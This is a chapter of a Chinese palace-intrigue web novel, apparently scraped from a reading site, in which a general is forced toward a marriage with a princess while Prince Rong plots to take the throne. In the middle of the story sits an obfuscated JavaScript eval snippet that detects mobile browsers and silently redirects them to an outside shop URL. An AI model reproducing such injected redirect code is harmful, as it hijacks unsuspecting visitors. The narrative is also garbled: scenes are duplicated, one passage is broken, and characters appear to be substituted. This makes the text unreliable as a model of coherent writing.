默认冷灰
24号文字
方正启体

118. 阴婚

作者:听君今明本书字数:K更新时间:
    翌日,一道圣旨如阴霾般沉甸甸地落至将军府。


    慕酌神色冷凝,于前厅缓缓跪地,听着内侍以那尖细刺耳的嗓音,一字一顿地将圣旨念完。


    自始至终,他的面上仿若覆了一层寒霜,无波无澜。


    “……大公主金枝玉叶,虽身染沉疴,却仍仰慕将军才名,特赐婚……望将军莫负圣恩,早日与大公主完婚,以冲喜庇佑公主安康……”


    赐婚?听闻此言,慕酌眼底似有一抹幽光瞬间沉下,宛如寒潭中坠入巨石,惊起层层暗涌。


    “慕将军,”内侍念罢圣旨,脸上堆起谄媚的笑,眼神殷切地望向他


    “这可是陛下念及大公主情深意切,才下的旨意,实乃天大的恩典呐。大公主亲自恳请,陛下又点头允了,您往后便是驸马爷,那可是荣耀加身呐——”


    慕酌未发一言,只是缓缓起身,伸手接过那明黄的圣旨。


    圣旨上绣着的金线荣纹在微光下闪烁,却似千斤重担,压得他心口生疼。


    内侍脸上的笑容顿时僵住,眼神中闪过一丝诧异与不满。


    按规矩,接旨之人当跪地谢恩,可这位慕将军倒好,圣旨刚读完便自行站起,连句“谢主隆恩”都吝啬出口。


    “慕将军,”内侍干笑一声,语气中带着几分试探,“您这……”


    “送客。”


    慕酌的声音冷若冰霜,毫无起伏,仿佛眼前之人不过是一粒微不足道的尘埃。


    内侍脸色微变,张了张嘴,终究没敢再多说什么,只得讪讪地退了出去。


    前厅之中,瞬时安静下来,唯有慕酌孤身而立。


    他低头凝视着手中的圣旨,那明黄的缎面,此刻却如枷锁般令他窒息。


    大公主、男宠、赐婚、驸马……这些字眼如毒刺般扎入他的心间。


    他忽然冷笑一声,那笑容冷冽似淬了冰的利刃,能将世间一切温情斩断。


    ——她算什么东西?


    他猛地抬手,指节因用力而泛白,将那道圣旨狠狠攥紧,圣旨瞬间皱成一团,宛如他此刻千疮百孔的心。


    然而,圣旨既下,便如一座无法撼动的大山,压得人喘不过气来。


    接下来的几日,将军府的门槛险些被踏破。


    礼部的官员频繁登门,只为量尺寸为慕酌赶制喜服;内务府的人也络绎不绝,送来聘礼的单子;


    大公主身边的奴仆更是如穿梭般来来往往,或是传话,或是送礼,甚至还有些趾高气昂、指手画脚之辈,搅得将军府上下不得安宁。


    慕酌将自己锁在书房之中,不管是谁前来,一概不见。


    就在此时,书房里,那个前来传话的人仍静静站着。此人并非将军府中人,慕酌一眼便认出——他是那个人身边的亲信。


    “你来干什么?”慕酌的声音冷得仿佛能将空气冻结。


    那人赶忙恭敬地拱了拱手,语气谦卑:“主子让小人带句话给将军。”


    慕酌没有搭话,只是用冰冷的眼神示意他继续。


    那人见状,自顾自地说下去:“大公主这婚事,主子说了,将军若是实在不愿接,便可不接。只是……”


    他故意顿了顿,吊足了慕酌的胃口。


    “只是什么?”慕酌的声音中透着一丝不耐烦。


    书房内,气氛瞬间如坠冰窖,每一寸空气都仿佛被严寒冻结,压抑得让人喘不过气。


    那人微微抬眼,与慕酌那冷冽似霜的目光相接,心中一凛,不敢再有所保留,赶忙压低声音说道:“只是,王爷说了——这桩婚事,未必就是灾祸。”


    慕酌听闻此言,眸光骤凛,犹如寒星闪烁,暗藏着令人捉摸不透的深意。


    “笼络朝臣,徐徐图之。”


    那人将声音压得更低,几近耳语,仿佛生怕隔墙有耳,


    “王爷说,时机已然成熟。既已深陷局中,便当顺应形势。这天下,也该换个主人了。”


    话音落下,书房内陷入死一般的沉寂,仿佛时间都在此刻凝固。


    慕酌缓缓垂眸,指腹下意识地摩挲着桌案上那道已然被攥皱的圣旨,良久,唇边才浮起一丝极其细微、几不可察的弧度。


    那笑意,冷得仿若冬夜最凛冽的刀锋,足以划破世间一切伪装,直抵人心最深处的黑暗。


    与此同时,城东的荣王府,一片静谧。


    正殿内,沉水香幽幽燃烧,袅袅青烟自精致的博山炉中升腾而起,在雕梁画栋间缭绕盘旋,为这华贵的殿堂增添了一抹如梦似幻的朦胧。


    荣王负手立于窗前,背对着满室的奢华,目光如渊,沉沉地凝视着院中那株已然落尽叶子的老槐树。


    树干沧桑斑驳,在寒风中孤独伫立,恰似一位饱经岁月沧桑的迟暮老人。


    “倒是打的一手好算盘。”


    荣王忽然开口,声音低沉而压抑,像是从胸腔最深处硬生生碾出来的,透着无尽的怨愤与不甘,


    “抢了我兄长的王位,如今又妄图把自己的女儿嫁给我兄长的儿子——”


    话语未落,他猛地转身,面孔此刻却布满了阴鸷。


    眼神锐利如鹰隼,透着一股择人而噬的狠厉,仿佛下一秒便要将世间一切仇敌撕成碎片。


    荣王一字一顿,每个字都似淬了毒的利刃,“那就让他到黄泉之下,为自己的罪行赎罪吧。”


    话音未落,他怒目圆睁,抬手狠狠一挥,桌案上的茶盏瞬间应声而落,清脆的破碎声在寂静的殿内格外刺耳。


    碎瓷飞溅,茶水如泪般洇湿了价值千金的波斯地毯,恰似这片被权力欲望搅乱的天下。


    外头的侍从听到声响,赶忙匆匆而入,却在与荣王那如利刃般的眼神交汇的瞬间,仿佛被钉在了原地,噤若寒蝉,大气都不敢出。


    “滚!”荣王一声怒吼,犹如雷霆乍响。


    侍从吓得脸色惨白,连滚带爬地退了出去,仿佛身后有洪水猛兽追赶。


    荣王独自站在原地,望着地上那一片狼藉,面上的狠厉之色渐渐褪去,取而代之的是一种近乎悲凉的讥诮。


    “阿兄,”他低声喃喃,目光望向虚空,眼神中流露出一丝追忆与沉痛,仿佛能穿透岁月的重重迷雾,看到往昔的种种,


    “你的儿子,本王定会让他坐上本该属于你的位置。抢你皇位的人本来就不应该活着。”


    他微微顿了顿,唇边缓缓浮起一抹残忍至极的笑意,犹如盛开在地狱边缘的恶之花,


    “该还的,总归是要还的。”


    窗外,暮色如墨,缓缓四合,最后一丝天光也被黑暗无情地吞噬。


    荣王府的灯火次第亮起,将这座宏伟的府邸照得如同白昼。然而,那明亮的灯光,却暖不了人心分毫,只徒增了几分冰冷与孤寂。


    书房内,慕酌终于缓缓抬起头,目光如炬,看向仍毕恭毕敬候在一旁的传话人。


    他的声音依旧冷冽如冰,却多了一丝不易察觉的决绝,犹如寒夜中坚定的誓言:“你去告诉他,就说我知道了。我不会让他们抢走属于我的东西,他们在那个位置上,也坐得太久了。”


    “是,少主。”


    那人听闻此言,如释重负,赶忙躬身行礼,随后悄然退去,仿佛生怕惊扰了此刻的慕酌。


    慕酌独自伫立在渐深的夜色中,周围的黑暗如潮水般涌动。他缓缓拿起那道已然被揉成一团的圣旨,目光在其上停留片刻,随后抬手将其置于明火之上。


    火焰瞬间舔舐着圣旨,明黄色的缎面在火舌的肆虐下,逐渐卷曲、变黑,最终化为灰烬,恰似这风云变幻的局势中,那些即将被改写的命运。


    如果真的有这么一个机会,然后他可以去屠杀的话,还是他的双亲的血仇,也算是痛快。


    压抑了那么久的人啊就像是找到,了一个出口,里面露出了那种阴森痛快的笑容。


    三日后,大公主薨了。


    消息传来时,慕酌正在书房中擦拭一柄长剑。


    剑身如秋水般澄澈,映出他冷峻的眉眼。传话的小厮话音未落,他的动作只微微一顿,随即继续擦拭,仿佛方才听到的不过是今日天气转凉之类的寻常话语。


    “听说是夜里咳血不止,”小厮压低声音,“太医署的人守了三天三夜,终究没救回来。”


    慕酌将长剑归鞘,起身走向窗边。窗外天色阴沉,铅灰色的云层低低地压着,像是要落雪的样子。


    “下去吧。”他说。


    小厮应声而退。书房重归寂静,慕酌负手而立,望着窗外的天际线,唇角缓缓浮起一抹极淡的弧度。


    皇宫,紫宸殿。


    皇帝的咆哮声几乎要将殿顶掀翻。


    “死了?!朕把大公主嫁给他,是给他天大的恩宠!他倒好,连面都没露一次,如今公主死了,他慕酌倒是清闲!”


    内侍跪了一地,个个以头抢地,大气不敢出。


    皇帝在殿内来回踱步,荣袍翻涌如怒涛。他猛地停下脚步,眼中闪过一丝阴鸷的光:


    “公主虽死,婚约仍在。传朕旨意——配阴婚。让慕酌以驸马之礼,迎娶大公主的灵位。公主生前没能完婚,死后也要入他慕家的祖坟!”


    此言一出,跪在最前头的内侍总管猛地抬头,眼中闪过惊骇:“陛下,这……”


    “怎么?”皇帝眯起眼,“你有异议?”


    内侍总管连忙叩首:“奴才不敢。只是……只是慕将军那边,恐怕……”


    “恐怕什么?”皇帝冷笑,“他是臣,朕是君。君要臣死,臣不得不死。何况只是配个阴婚?朕倒要看看,他慕酌能翻出什么浪来!”


    翌日早朝,金銮殿。


    皇帝高坐荣椅之上,面色带着愉悦。


    “陛下,”礼部尚书出列,战战兢兢地开口,“大公主虽薨,然婚约已定,臣以为……当以驸马之礼,迎公主灵位入慕氏宗祠,方显皇室恩德。”


    皇帝满意地点头:“准——”


    “且慢。”


    一道低沉的声音从殿外传来,生生截断了皇帝的话。


    众人循声望去,只见荣王身着朝服,大步跨入金銮殿。他身后,跟着乌压压一片朝臣——国师、六部尚书中的三位、御史台半数御史、京畿卫统领。


    皇帝瞳孔骤缩。


    荣王行至殿中,躬身行礼,语气却毫无谦卑之意:“臣弟来迟,望陛下恕罪。”


    “你——”皇帝站起身,“你要干什么?”


    荣王不答,只是从袖中取出一本奏折,双手呈上:“臣等有本要奏。”


    内侍总管颤抖着接过,呈至御前。


    皇帝翻开奏折,只看了几行,脸色便骤然铁青。


    那奏折上密密麻麻列着数十个名字,每一个都是朝中举足轻重的人物。而奏折的内容,只有寥寥数语——


    “慕酌将军忠勇无双,乃国之栋梁。今大公主仙逝,婚约自当解除。若陛下执意配阴婚,臣等必以死相谏,绝不奉诏。”


    皇帝握着奏折的手剧烈颤抖。


    下朝后,皇帝面色阴沉得能滴出水来。


    他越想越气——他是一国之君,凭什么要向一个将军低头?


    配阴婚的事,他偏要办!


    “陛下——”一名小太监跪倒在殿门处,声音发颤,“荣王殿下求见,说……说有要事启奏。”


    皇帝脸色微变。


    荣王。


    这个蛰伏多年,手上握着兵权,自己十年来都没有把它弄死的这个异姓王。


    “宣。”


    荣王步入紫宸殿时,周身带着外头的寒气。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275842|198236||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他未穿朝服,只着一身玄色常服,却自有一股沉凝的气势,压得殿内众人不敢直视。


    “参见陛下。”他躬身行礼,语气平淡。


    皇帝居高临下地看着他,眼底闪过一丝不易察觉的忌惮:“荣王今日怎么有空入宫?”


    荣王直起身,目光与皇帝相接,丝毫不避:“臣弟听闻大公主薨逝,特来慰问。另有一事,想请教陛下。”


    “何事?”


    荣王淡淡开口:“臣听闻陛下要给慕将军配阴婚,特来劝谏。”


    “劝谏?”皇帝像是被踩了尾巴的猫,陡然暴怒起来,


    “你算什么东西,也配来劝谏朕?!”


    此言一出,殿内群臣倒吸一口凉气。


    荣王却神色不变,只是微微眯起眼。


    皇帝像是找到了宣泄口,连日来的憋屈、恐惧、愤怒,一股脑涌上心头


    他猛地站起身,指着荣王的鼻子,声音尖厉得变了调:


    “别以为朕不知道你的底细!你不过是朕皇兄当年从战场上捡回来的一条狗!贱民出身,连祖坟都不知道在哪!皇兄心善,封你做了个异姓王,你还真把自己当皇族了?!”


    荣王的眼神骤然冷了下来。


    皇帝却浑然不觉,继续咆哮:“你身上流的不是皇家血脉!你祖上八辈都是泥腿子!你凭什么在朕面前摆谱?你以为顶着个‘王’字,就真能骑到朕头上来了?!”


    “陛下。”荣王的声音依旧平静,却带着一股令人窒息的压迫感,“您说完了吗?”


    皇帝被这目光盯得心中一寒,却仍强撑着:“说完了又如何?”


    荣王缓缓上前一步。


    仅仅一步,皇帝却觉得那股压迫感扑面而来,几乎要将他吞噬。


    “陛下说臣是狗,”荣王的声音低沉如闷雷,“那臣今日就让陛下看清楚——这条狗,能不能咬死人。”


    “有些畜生抢了自己王兄的皇位,不知耻,做了十年,这种人连狗,哦不,那畜生都不屑与之为伍。”


    “这一种注定遭到天谴的人。一旦又是自己出行,说不定就会被一条狗盯上作为食物。”


    “就会被路边的野狗啃食,啃食到骨子里面。就像你现在一样。之后这些人烂了,放臭他们的血肉。”


    他顿了顿,唇边浮起一抹森然的笑意:


    “陛下别忘了,鳞军的十万精兵,此刻就驻扎在京郊。只要臣一声令下,半个时辰之内,这座金銮殿——就会换一个人坐。”


    皇帝脸色煞白,踉跄后退。


    “你……你敢……”


    荣王不答,只是从袖中取出一本奏折,双手呈上:“陛下不妨先看看这个。”


    皇帝握着奏折的手剧烈颤抖,指节泛白。


    天机楼、国师、六部、御史台、京畿卫、十三道封疆大吏、九寺五监、翰林国子监、禁军诸卫、乃至宗室亲王……


    满朝文武,十之七八。


    这哪里是一份奏折。


    这是他的催命符。


    “你——”他猛地抬头,死死盯着荣王,“你这是要造反!”


    皇帝暴喝,“来人!给朕拿下这个乱臣贼子!”


    殿门应声而开,然而涌入殿中的,却不是皇帝的禁卫,而是一队身着玄甲的武士。


    为首的将领单膝跪地,向荣王行礼:“王爷,禁卫已全部控制。”


    荣王点点头,目光重新落回皇帝身上。


    皇帝此刻已跌坐在荣椅上,面色惨白如纸,嘴唇哆嗦着,却一个字也说不出来。


    “你的心思,最好收一收。”


    荣王的声音再次响起,这一次,带着毫不掩饰的杀意,


    “想除掉慕酌,想除掉臣,想除掉所有知道当年真相的人。但陛下最好想清楚——”


    他微微俯身,居高临下地看着瘫坐在荣椅上的皇帝,一字一顿:


    “臣若要陛下的命,现在就能要。满朝文武,京畿禁卫,没有一个人拦得住臣。臣今日不杀陛下,不是不敢,而是——先皇的血脉,要用堂堂正正的方式,拿回属于他的东西。”


    他直起身,最后看了皇帝一眼,那目光冷得像冬夜的寒星:


    “我今日来,不是要您的命。您这个皇位,坐得太久了,也该让出来了。但不是现在——待时机成熟,臣弟自会请陛下‘禅位’。”


    他顿了顿,唇角勾起一抹讥诮的弧度:


    “至于配阴婚的事,臣弟劝陛下三思。慕将军如今的身份,已经不是您能随意拿捏的了。公主既死,婚事自然作罢。陛下若是识趣,不妨赏些东西安抚安抚,也好显得您‘仁厚’。”


    说罢,荣王转身,大步离去。


    玄甲武士如潮水般退去,只余皇帝一人瘫坐在空荡荡的大殿中。


    “陛下若是识趣,就好生坐着这把荣椅,等那一天到来。若是不识趣——”


    他顿了顿,唇角的笑意愈发残忍:


    “臣不介意,让陛下先走一步。”


    说罢,他转身,大步离去。


    群臣如潮水般退去,只余皇帝一人瘫坐在空荡荡的金銮殿上。


    良久,他忽然发出一声凄厉的嚎叫,猛地抓起案上的玉玺,狠狠砸向殿柱。玉玺碎裂,碎玉崩飞,在他脸上划出一道血痕,他却浑然不觉。


    “狗!全都是狗!”


    他踉跄着站起身,抓起什么砸什么。砚台、奏折、茶盏、香炉——所有能砸的东西,都被他砸得粉碎。


    “朕是天子!朕是皇帝!你们凭什么威胁朕!凭什么!”


    他冲到殿门前,对着空荡荡的汉白玉台阶嘶吼:


    “朕要杀了你们!杀了你们所有人!把你们满门抄斩!诛九族!”


    回应他的,只有呼啸的寒风。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)